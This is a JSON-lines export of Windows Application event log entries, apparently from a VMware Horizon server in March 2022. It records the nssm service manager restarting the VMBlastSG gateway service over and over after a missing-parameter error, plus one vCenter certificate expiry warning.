{"@timestamp":1646824373575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166385}}
{"@timestamp":1646824502046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166386}}
{"@timestamp":1646824502048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166387}}
{"@timestamp":1646824502049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162528","0"]}}},"module":"Application","provider":"nssm","sequence":166388}}
{"@timestamp":1646824502049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162528","162528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166389}}
{"@timestamp":1646824502068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166390}}
{"@timestamp":1646824502068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166391}}
{"@timestamp":1646824502069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166392}}
{"@timestamp":1646824502070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166393}}
{"@timestamp":1646824630548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166394}}
{"@timestamp":1646824630550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166395}}
{"@timestamp":1646824630550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162936","0"]}}},"module":"Application","provider":"nssm","sequence":166396}}
{"@timestamp":1646824630552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162936","162936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166397}}
{"@timestamp":1646824630567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166398}}
{"@timestamp":1646824630568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166399}}
{"@timestamp":1646824630568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166400}}
{"@timestamp":1646824630569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166401}}
{"@timestamp":1646824759055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166402}}
{"@timestamp":1646824759057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166403}}
{"@timestamp":1646824759057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163260","0"]}}},"module":"Application","provider":"nssm","sequence":166404}}
{"@timestamp":1646824759058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163260","163260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166405}}
{"@timestamp":1646824759074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166406}}
{"@timestamp":1646824759075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166407}}
{"@timestamp":1646824759075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166408}}
{"@timestamp":1646824759076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166409}}
{"@timestamp":1646824887571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166410}}
{"@timestamp":1646824887572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166411}}
{"@timestamp":1646824887573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162056","0"]}}},"module":"Application","provider":"nssm","sequence":166412}}
{"@timestamp":1646824887574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162056","162056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166413}}
{"@timestamp":1646824887591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166414}}
{"@timestamp":1646824887591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166415}}
{"@timestamp":1646824887592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166416}}
{"@timestamp":1646824887593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166417}}
{"@timestamp":1646825016090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166418}}
{"@timestamp":1646825016091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166419}}
{"@timestamp":1646825016091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163320","0"]}}},"module":"Application","provider":"nssm","sequence":166420}}
{"@timestamp":1646825016092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163320","163320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166421}}
{"@timestamp":1646825016109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166422}}
{"@timestamp":1646825016110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166423}}
{"@timestamp":1646825016110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166424}}
{"@timestamp":1646825016111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166425}}
{"@timestamp":1646825103753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_CERT_EXPIRY_WARNING\nCertificate will expire shortly for vCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 09 12:25:03 CET 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.VCHealth\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":166426}}
{"@timestamp":1646825144583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166427}}
{"@timestamp":1646825144585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166428}}
{"@timestamp":1646825144585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163556","0"]}}},"module":"Application","provider":"nssm","sequence":166429}}
{"@timestamp":1646825144586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163556","163556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166430}}
{"@timestamp":1646825144604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166431}}
{"@timestamp":1646825144604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166432}}
{"@timestamp":1646825144605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166433}}
{"@timestamp":1646825144605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166434}}
{"@timestamp":1646825273226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166435}}
{"@timestamp":1646825273228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166436}}
{"@timestamp":1646825273228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163404","0"]}}},"module":"Application","provider":"nssm","sequence":166437}}
{"@timestamp":1646825273229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163404","163404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166438}}
{"@timestamp":1646825273247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166439}}
{"@timestamp":1646825273248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166440}}
{"@timestamp":1646825273248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166441}}
{"@timestamp":1646825273249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166442}}
{"@timestamp":1646825401721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166443}}
{"@timestamp":1646825401722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166444}}
{"@timestamp":1646825401723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163328","0"]}}},"module":"Application","provider":"nssm","sequence":166445}}
{"@timestamp":1646825401724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163328","163328","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166446}}
{"@timestamp":1646825401741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166447}}
{"@timestamp":1646825401742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166448}}
{"@timestamp":1646825401742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166449}}
{"@timestamp":1646825401743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166450}}
{"@timestamp":1646825530262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166451}}
{"@timestamp":1646825530264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166452}}
{"@timestamp":1646825530264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161324","0"]}}},"module":"Application","provider":"nssm","sequence":166453}}
{"@timestamp":1646825530265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161324","161324","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166454}}
{"@timestamp":1646825530281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166455}}
{"@timestamp":1646825530281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166456}}
{"@timestamp":1646825530282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166457}}
{"@timestamp":1646825530283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166458}}
{"@timestamp":1646825658909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166459}}
{"@timestamp":1646825658910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166460}}
{"@timestamp":1646825658913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162304","0"]}}},"module":"Application","provider":"nssm","sequence":166461}}
{"@timestamp":1646825658914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162304","162304","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166462}}
{"@timestamp":1646825658934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166463}}
{"@timestamp":1646825658936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166464}}
{"@timestamp":1646825658937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166465}}
{"@timestamp":1646825658938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166466}}
{"@timestamp":1646825787423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166467}}
{"@timestamp":1646825787425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166468}}
{"@timestamp":1646825787426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163040","0"]}}},"module":"Application","provider":"nssm","sequence":166469}}
{"@timestamp":1646825787426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163040","163040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166470}}
{"@timestamp":1646825787445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166471}}
{"@timestamp":1646825787446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166472}}
{"@timestamp":1646825787446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166473}}
{"@timestamp":1646825787447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166474}}
{"@timestamp":1646825916068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166475}}
{"@timestamp":1646825916069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166476}}
{"@timestamp":1646825916071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163500","0"]}}},"module":"Application","provider":"nssm","sequence":166477}}
{"@timestamp":1646825916071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163500","163500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166478}}
{"@timestamp":1646825916088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166479}}
{"@timestamp":1646825916089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166480}}
{"@timestamp":1646825916090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166481}}
{"@timestamp":1646825916091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166482}}
{"@timestamp":1646826044613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166483}}
{"@timestamp":1646826044614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166484}}
{"@timestamp":1646826044614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163064","0"]}}},"module":"Application","provider":"nssm","sequence":166485}}
{"@timestamp":1646826044615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163064","163064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166486}}
{"@timestamp":1646826044635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163080","0"]}}},"module":"Application","provider":"nssm","sequence":166487}}
{"@timestamp":1646826044636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163080","163064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166488}}
